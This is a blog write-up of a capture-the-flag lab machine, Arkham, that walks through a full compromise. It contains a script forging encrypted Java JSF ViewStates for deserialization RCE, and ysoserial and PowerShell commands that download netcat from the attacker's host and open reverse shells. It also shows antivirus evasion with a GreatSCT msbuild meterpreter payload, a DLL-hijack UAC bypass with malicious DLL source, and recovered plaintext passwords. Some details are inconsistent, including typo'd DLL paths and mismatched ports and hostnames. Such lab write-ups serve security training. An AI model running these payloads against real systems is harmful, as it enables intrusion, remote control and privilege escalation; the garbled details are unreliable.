This post documents the complete walkthrough of Arkham, a retired vulnerable VM created by MinatoTW and hosted at Hack The Box

Summery
Arkham was a hard box for the 30 points that were awarded for it, as I was struggling quite a bit and it took me a long time to solve it. It’s the hardest box I worked on so far. However, in the end, I enjoyed the box a lot because it forced me to learn stuff I don’t encounter often. Techniques used are the exploitation of java deserialization vulnerability, AV evasion, and a UAC bypass using DLL hijacking.

 

arkham.png Public Profile

 

❯ ./init

Add the box IP address to /etc/hosts

/etc/hosts
# HTB
10.10.10.130    arkham.htb

 

❯ Information gathering

Starting with a full nmap scan

Nmap cheat sheet

 nmap -sV -sC -p- -oA ./nmap/arkham -T4 fortune.htb

Nmap scan report for arkham.htb (10.10.10.130)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
8080/tcp  open  http          Apache Tomcat 8.5.37
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -6m26s, deviation: 0s, median: -6m26s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-04 13:12:15
|_  start_date: N/A

We find the ports 80, 8080, 445 (SMB) are open

❯ Web Enumeration

negativing to arkham.htb in Firefox we find IIS Windows Server web page

If the pictures are small click on them

http://arkham.htb/

1_webpage.png not really useful

 

8080/TCP - HTTP enumeration

Navigate to http://arkham.htb:8080 in Firefox

http://arkham.htb:8080/

2_8080.png

3_8080.png

From the menu on the right there is an interesting page under Subscription

http://arkham.htb:8080/userSubscribe.faces

4_8080.png

the page /userSubscribe.faces contains a serialized Java object in the hidden javax.faces.ViewState field

5_8080.png

We can see the request in burp intercept

0_burp.png

The ViewState is sent back to the server via POST when the form is submitted (e.g. click on Login).

From javafx.faces.viewstate We can see that the server is running MyFaces Apache JSF version. A misconfigured JSF ViewStates can lead to RCE this post gives some insight on how the ViewState is vulnerable.

From reading the documentation (StateUtils) we find that:

  • Base64 is used for all encoding and decoding.
  • DES is the default encryption algorithm
  • ECB is the default mode
  • PKCS5Padding is the default padding
  • HmacSHA1 is the default MAC algorithm

We can run the ViewState through CyberChef to decode it

Recipe
URL_Decode()
From_Base64('A-Za-z0-9+/=',true)

1_cc.png

We note that this ViewState is encrypted. So unless we can find the decryption key, it is unlikely we can exploit it.

 

❯ SMB Enumeration

We will move on to enumerating SMB shares on port 445 using SMBMap

 smbmap -H arkham.htb -p 445
[+] Finding open SMB ports....
[+] Guest SMB session established on arkham.htb...
[+] IP: arkham.htb:445	Name: arkham.htb   
	Disk                                  Permissions
	----                                  -----------
	ADMIN$                                NO ACCESS
	BatShare                              READ ONLY
	C$                                    NO ACCESS
	IPC$                                  READ ONLY
	Users                                 READ ONLY

Looks like we have read-only permission to the BatShare, IPC$ and Users shares. We can connect and browse the contents of the SMB shares using SMBClient.

 

BatShare
 smbclient //arkham.htb/BatShare -u root
Try "help" to get a list of possible commands.
smb: \> ls
  .                       D        0  Sun Feb  3 08:00:10 2019
  ..                      D        0  Sun Feb  3 08:00:10 2019
  appserver.zip           A  4046695  Fri Feb  1 01:13:37 2019

smb: \> get appserver.zip 

In the BatShare there is an archive file appserver.zip we can download it using the get command then unzip it

 unzip appserver.zip 
Archive:  appserver.zip
  inflating: IMPORTANT.txt
  inflating: backup.img   

The archive contains a text file IMPORTANT.txt

IMPORTANT.txt

Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn’t have unauthenticated access to it.

  • Bruce

We also find the file backup.img, from the note we know that it’s a backup image and by running the file command on it we find that it’s a LUKS ( Linux Unified Key Setup) encrypted disk image

 file backup.img      
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] 
UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

So we try to crack it with hashcat and rockyou.txt. Since this is a Batman theme box,

I tried some default credentials and after realizing that it would take a long time to crack the password using bruteforce-lurk, I used binwalk and to my surprise I found some files under the directory Mask/tomcat-stuff

 binwalk backup.img -e

 ls -alh  _backup.img.extracted/Mask
total 392K
drwxr-xr-x 3 root root 4.0K Aug  4 17:20 ./
drwxr-xr-x 4 root root  12K Aug  4 17:20 ../
-rw-r--r-- 1 root root 103K Dec 25  2018 me.jpg
-rw-r--r-- 1 root root 257K Dec 25  2018 mycar.jpg
-rw-r--r-- 1 root root 7.5K Dec 25  2018 robin.jpeg
drwxr-xr-x 2 root root 4.0K Dec 25  2018 tomcat-stuff/

Honestly I don’t know why there would be clear text files in a lurk encrypted image ¯\_(ツ)_/¯

Note: By using bruteforce-lurk and because the box is batman themed I added batman to rockyou.txt I found out that the password is batmanforever

In the extracted image we find the folder Mask/tomcat-stuff which contains several configuration files

 ls  -Fa -alh tomcat-stuff 
total 212K
-rw-r--r-- 1 root root 1.4K Dec 25  2018 context.xml
-rw-r--r-- 1 root root  832 Dec 25  2018 faces-config.xml
-rw-r--r-- 1 root root 1.2K Dec 25  2018 jaspic-providers.xml
-rw-r--r-- 1 root root   39 Dec 25  2018 MANIFEST.MF
-rw-r--r-- 1 root root 7.5K Dec 25  2018 server.xml
-rw-r--r-- 1 root root 2.2K Dec 25  2018 tomcat-users.xml
-rw-r--r-- 1 root root 170K Dec 25  2018 web.xml
-rw-r--r-- 1 root root 3.5K Dec 25  2018 web.xml.bak

The file web.xml.bak contains secret for myfaces (SnNGOTg3Ni0)

...
<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.faces</url-pattern>
</servlet-mapping>
...
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
    <context-param>
        <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
        <param-value>HmacSHA1</param-value>
     </context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
...

We can see server is running myfaces (JSF apache version) and it’s storing the viewstate on server side. There’s no info about if encryption is enabled/disabled, so myfaces will use default config, witch is enabled.

By decoding the secret SnNGOTg3Ni0= using Base64 we get the key JsF9876-

 

❯ Completely decipher the structure of the payload

According to Apache documentation (StateUtils)

  • Base64 is used for all encoding and decoding.
  • DES is the default encryption algorithm
  • ECB is the default mode
  • PKCS5Padding is the default padding
  • HmacSHA1 is the default MAC algorithm

We have the original payload captured from BURP:

wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV%2FoWNsOb5owxiays%3D

URL-Decoded:

wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays=

Base64-Decoded presented in HEX

c07a34c262eee5c788b488be23b5e4122d4601be21d76599f3de2903e678387edb728da35c4cb545dd71e4b51169f9a5ef42ad0ed9e08c39b498dcc0f6a1e361eaf1a348d6ef3bb54316fbf09f0c451815fe858db0e6f9a30c626b2b

Recipe
URL_Decode()
From_Base64('A-Za-z0-9+/=',true)
To_Hex('None')2

2_cc.png

We decode into hex so that we can try decrypting it using des.online-domain-tools.com 3_cc.png Decrypted!(you can read it in plain text)

We understand that HMACSHA1 is a 160bit length code, if we were to present this in hex, it should be 40 characters long,let us just assume that:

  • a) the last 40 characters are the HMACSHA1 digest of the encrypted payload in hex 4316fbf09f0c451815fe858db0e6f9a30c626b2b
  • b) the remaining front characters is the encrypted payload in hex

So in other words, the construction of the payload is DES_Encrypted_Payload + HMACSHA1 digest (not hexdigest)

 

❯ Exploitation

We need to create a valid ViewState (with our payload injected) to add to a request. To exploit this vulnerability we will use ySoSerial a tool for generating payloads that exploit unsafe Java object deserialization.

Thanks to Joe Graham for his help with ySoSerial, check out his blog

To make the payload work we will need to do the following:

  • Use ySoSerial to generate the payload
  • Cipher the payload with DES-ECB padmode=PAD_PKCS5 (we have the key from web.xml.bak)
  • Calculate HMAC SHA1, obtain digest (not hexdigest) and combine it at the end
  • Base64 encode the result
  • URL encode it

I created a script to do that

Arkahm.py
#####################
#    SecBytes.net   #
#####################
import sys
import hmac
import base64
from hashlib import sha1
# pip3 install pyDes
from pyDes import *
import urllib.parse


def encrypt(data):
    key = bytes("JsF9876-",'utf-8')
    # encrypt ysoserial payload with DES-ECB
    cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
    enc = cipher.encrypt(data)
    # calculate HMAC SHA1 and obtain digest
    digest = hmac.new(key, enc, sha1).digest()
    # combain the digest at the end of the encrypted text
    payload = enc+digest
    # base64 encode 
    return base64.b64encode(payload)

if __name__ == "__main__":
    filename = sys.argv[1]

    with open(filename, "rb") as fp:
        payload = encrypt(fp.read())
        payload = payload.decode('utf-8')
        # url encode it
        payload = urllib.parse.quote_plus(payload)

    print(payload)

Download netcat for Windows and extract the files. After that we will create a simple webserver server using Python to allow us to upload nc64.exe to Arkham

 unzip netcat-win32-1.11.zip

 python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

In a new terminal window generate a ysoserial payload that downloads nc64.exe on the box using the Python webserver we created. Then it will send a call to our box on port 1337

 java -jar ysoserial.jar CommonsCollections5 'Powershell iwr http://10.10.14.20:8000/nc64.exe -outfile C:\users\public\nc64.exe;C:\users\public\nc64.exe 10.10.14.20 1337 -e cmd.exe' > bad3r_raw

The payload will be saved in bad3r_raw. Next we need to encrypt and encode the payload using the script above arkham.py

 python3 arkham.py bad3r_raw

Copy the output and in another terminal window start listening on port 1337

 nc -lp 1337

Navigate to http://arkham.htb:8080/userSubscribe.faces in your browser. enable burp proxy and click on sign up, in burp you will see the request

6_burp.png

Send it it to Intruder and edit the Position

7_burp.png

Add the payload and click on Start Attack. After sending the payload we get a request on our local python webserver and see that the payload indeed worked

9_python.png

11_shell.png tenor.gif

 

❯ PrivEsc

In Alfred’s Downloads folder we find a file called backup.zip. Copy it to the web folder to download it and analyze it

 cd C:\Users\alfred\downloads\backups
 copy backup.zip C:\tomcat\apache-tomcat-8.5.37\webapps\Root\backup.zip
1 file(s) copied.

In your browser navigate to http://arkham.htb:8080/backup.zip to download the file then unzip it

 unzip backup.zip
Archive:  backup.zip
  inflating: alfred@arkham.local.ost  

use the command file to find the file type

 file alfred@arkham.local.ost          
alfred@arkham.local.ost: Microsoft Outlook email folder

Use readpst -rS to convert and read the file

readpst - convert PST (MS Outlook Personal Folders) files to mbox and other formats

12_readpst.png

 ls -R alfred@arkham.local.ost1 
alfred@arkham.local.ost1:
 Calendar/   Drafts/   Inbox/  'Sync Issues'/

alfred@arkham.local.ost1/Calendar:

alfred@arkham.local.ost1/Drafts:
1  1-image001.png

alfred@arkham.local.ost1/Inbox:

'[email protected]/Sync Issues'

[email protected]/Drafts/1-image001.png

1-image001.png

We find the passowrd "Zx^#QZX+T!123" for batman but we don’t want any shares we want a shell..

 

❯ Batman Shell

Execute the following commands as Alfred

 powershell

 

 $username = "batman";$password = "Zx^#QZX+T!123";$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;$Session = New-PSSession -Credential $Credential

Make sure that the Python webserver is still running and while listening on port 3333 (nc -lp 3333) execute the command

 icm -Session $Session -ScriptBlock { iwr http://10.10.14.20:8000/nc64.exe -OutFile C:\Users\Batman\Desktop\nc64.exe; C:\Users\Batman\Desktop\nc64.exe -vn 10.10.14.20 3333 -e cmd.exe }

If the pictures are small click on them

1_batman.png

2_batman.png

Batman is in the Administrator Group

3_batman.png

Anyway we cannot access Administrator home folder to read root.txt so we need to bypass UAC. We cannot invoke Administrator privileges because once the cmd.exe token is generated, it will stay as it is unless there is someone on the Interactive Desktop who can press the ‘Yes’ button during the UAC request.

 

❯ AV evasion

First we have to get a meterpreter shell but Arkham has an updated and patched Windows defender which detects meterpereter so we have to do some AV evasion

Clone GreatSCT repo and install it

 git clone https://github.com/GreatSCT/GreatSCT.git
 cd GreatSCT/
 cd setup
 sudo ./setup.sh -c

Create the payload

./GreatSCT.py --ip 10.10.14.20 --port 4444 -o bad3r -t Bypass -p msbuild/meterpreter/rev_tcp.py

To obtain our meterpreter shell we just need to upload bad3r.xml, execute msbuild.exe on victim and wait with our msf handler

copy bad3r.xml to the directory of your python webserver and execute the following command as Batman

 Powershell iwr http://10.10.14.20:8000/bad3r.xml -outfile C:\ProgramData\bad3r.xml;C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\ProgramData\bad3r.xml

In msfconsole

 msfconsole       
[-] ***rting the Metasploit Framework console...-
[-] * WARNING: No database support: No database YAML file
[-] ***
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --bad3r


       =[ metasploit v5.0.38-dev                          ]
+ -- --=[ 1912 exploits - 1073 auxiliary - 329 post       ]
+ -- --=[ 545 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 3 evasion                                       ]
msf5 > use multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.20
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > set ExitOnSession false

In msfconsole

msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.20:4444 
 msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

 msf5 exploit(multi/handler) > sessions -i 1
 meterpreter > 

Migrate the process to explorer.exe to bypass Powershell restricted mode and Load Powershell on meterpreter

meterpreter > ps -aux | grep explorer.exe
Filtering on 'explorer.exe'

Process List
============

 PID   PPID  Name          Arch  Session  User           Path
 ---   ----  ----          ----  -------  ----           ----
 4252  4104  explorer.exe  x64   1        ARKHAM\Batman  C:\Windows\explorer.exe

meterpreter > migrate 4252
[*] Migrating from 5324 to 4252...
[*] Migration completed successfully.
 meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > $ExecutionContext.SessionState.LanguageMode
FullLanguage
 PS > 

 

❯ UAC bypass

we need to find a tool within Windows that allows automatic invoke of UAC and see whether there are any weakness such as loading of dll from a folder that is writable by the user. We replace that dll with a malicious one and when the application loads, it loads our malicious dll file which dials a shell back to the attacker machine.

From this post if we use the command

 findstr /C:"<autoElevate>true" C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
   <autoElevate>true</autoElevate>

we already have the application identified SystemPropertiesAdvanced.exe which loads a dll called srrstr.dll from the User’s WindowsApps folder which is writable by the user.

We need to create a dll file that executes our payload bad3r.xml from C:\Users\batman\Desktop when loaded. We compile it and copy it to the directory we hosting our python webserver

man.cpp
#include <windows.h>
int fireLazor()
{
 WinExec("C:\\Usrs\\batman\\Deskatop\\bad3r.xml", 0);
 return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
 fireLazor();
 return 0;
}

Save it as main.cpp and compile it on Linux

❯ i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
❯ i686-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

The compilation commands will create a file called main.dll

We use the command echo %PATH% to find WindowsApps directory path

C:\Users\Batman\Documents>echo %PATH%
echo %PATH%
... C:\Users\Batman\AppData\Local\Microsoft\WindowsApps ...

We need to upload the dll file using our python webserver and save it in the path above as srrstr.dll

 Powershell iwr http://10.10.14.20:8000/main.dll -outfile C:\Users\Batman\AppData\Local\Microsoft\WindowsApps\srrstr.dll

Now run SystemPropertiesAdvanced.exe

 C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

In an another terminal window listen to port 5555

 nc -lvnp 5555                    
listening on [any] 5555 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.130] 49847
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
< Root_hash >


Public Profile